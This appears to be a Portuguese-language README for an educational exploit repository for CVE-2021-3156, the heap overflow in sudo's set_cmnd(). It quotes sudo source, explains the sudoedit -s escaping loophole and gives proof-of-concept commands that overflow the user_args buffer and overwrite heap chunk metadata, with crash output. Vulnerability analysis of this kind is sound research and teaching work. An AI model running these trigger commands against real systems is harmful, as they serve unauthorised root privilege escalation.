
Implementação educacional de exploit e análise da CVE-2021-3156, um estouro de buffer baseado em heap na função set_cmnd() do sudo, permitindo escalonamento de privilégios para root por meio de argumentos de linha de comando especialmente elaborados.
Neste documento incluímos todo o conhecimento necessário para entender o código neste repositório e por que ele funciona. Toda a explicação é baseada no relatório criado pela QUALYS. Nele, mais formas de exploração são explicadas.
As versões vulneráveis do sudo são as versões legadas de 1.8.2 a 1.8.31p2 e todas as versões estáveis de 1.9.0 a 1.9.5p1, em sua configuração padrão.
Este repositório é testado no Ubuntu 20.04 (sudo 1.8.31). Nele, abrimos um terminal com privilégios de root.
Se o Sudo for executado para rodar um comando no modo shell:
-s, que define os flags MODE_SHELL do sudo.-i, que define os flags MODE_SHELL e MODE_LOGIN_SHELL do sudo.Então, no início do main() do sudo, parse_args() reescreve o argv, concatenando todos os argumentos de linha de comando e
escapando todos os meta-caracteres com barras invertidas.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Mais tarde, em sudoers_policy_main(), set_cmnd() concatena os argumentos de linha de comando em um buffer baseado em heap
user_args e remove o escape dos meta-caracteres, "para fins de correspondência e registro do sudoers":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Se um argumento de linha de comando termina com um único caractere de barra invertida, então:
from[0] é o caractere de barra invertida e from[1] o terminador nulofrom é incrementado e aponta para o terminador nulouser_args e from é incrementado novamente e aponta para fora dos limitesuser_args.Em outras palavras, set_cmnd() é vulnerável a um estouro de buffer baseado em heap, porque os caracteres fora dos limites que
são copiados para o buffer user_args não foram incluídos no seu tamanho.
Em teoria, no entanto, nenhum argumento de linha de comando pode terminar com um único caractere de barra invertida: se MODE_SHELL ou
MODE_LOGIN_SHELL estiver definido (uma condição necessária para alcançar o código vulnerável), então MODE_SHELL está definido e
parse_args() já escapou todos os meta-caracteres, incluindo barras invertidas (ou seja, escapou cada barra invertida
com uma segunda barra invertida).
Na prática, no entanto, o código vulnerável em set_cmnd() e o código de escape em parse_args() estão cercados por
condições ligeiramente diferentes:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
Nossa pergunta, então, é: podemos definir MODE_SHELL e também MODE_EDIT ou MODE_CHECK (para alcançar o código vulnerável),
mas não o MODE_RUN padrão (para evitar o código de escape)?
A resposta, ao que parece, é não: se definirmos MODE_EDIT (opção -e) ou MODE_CHECK (opção -l), então parse_args()
remove MODE_SHELL dos valid_flags e sai com um erro se especificarmos um flag inválido como
MODE_SHELL):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Mas encontramos uma brecha: se executarmos o Sudo como sudoedit em vez de sudo, então parse_args() define automaticamente
MODE_EDIT mas não redefine valid_flags, e os valid_flags incluem MODE_SHELL por padrão:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Consequentemente, se executarmos "sudoedit -s", então definimos tanto MODE_EDIT quanto MODE_SHELL (mas não MODE_RUN), evitamos
o código de escape, alcançamos o código vulnerável e estouramos o buffer baseado em heap user_args através de um argumento
de linha de comando que termina com um único caractere de barra invertida:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Do ponto de vista de um atacante, esse estouro de buffer é ideal:
user_args que estouramos (o tamanho dos nossos argumentos de linha de comando concatenados);user_args).Por exemplo, em um Linux amd64, o seguinte comando aloca um buffer user_args de 24 bytes (um chunk de heap de 32 bytes) e
sobrescreve o campo size do próximo chunk com "A=a\0B=b\0" (0x00623d4200613d41), o campo fd com "C=c\0D=d\0"
(0x00643d4400633d43), e o campo bk com "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|AA=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)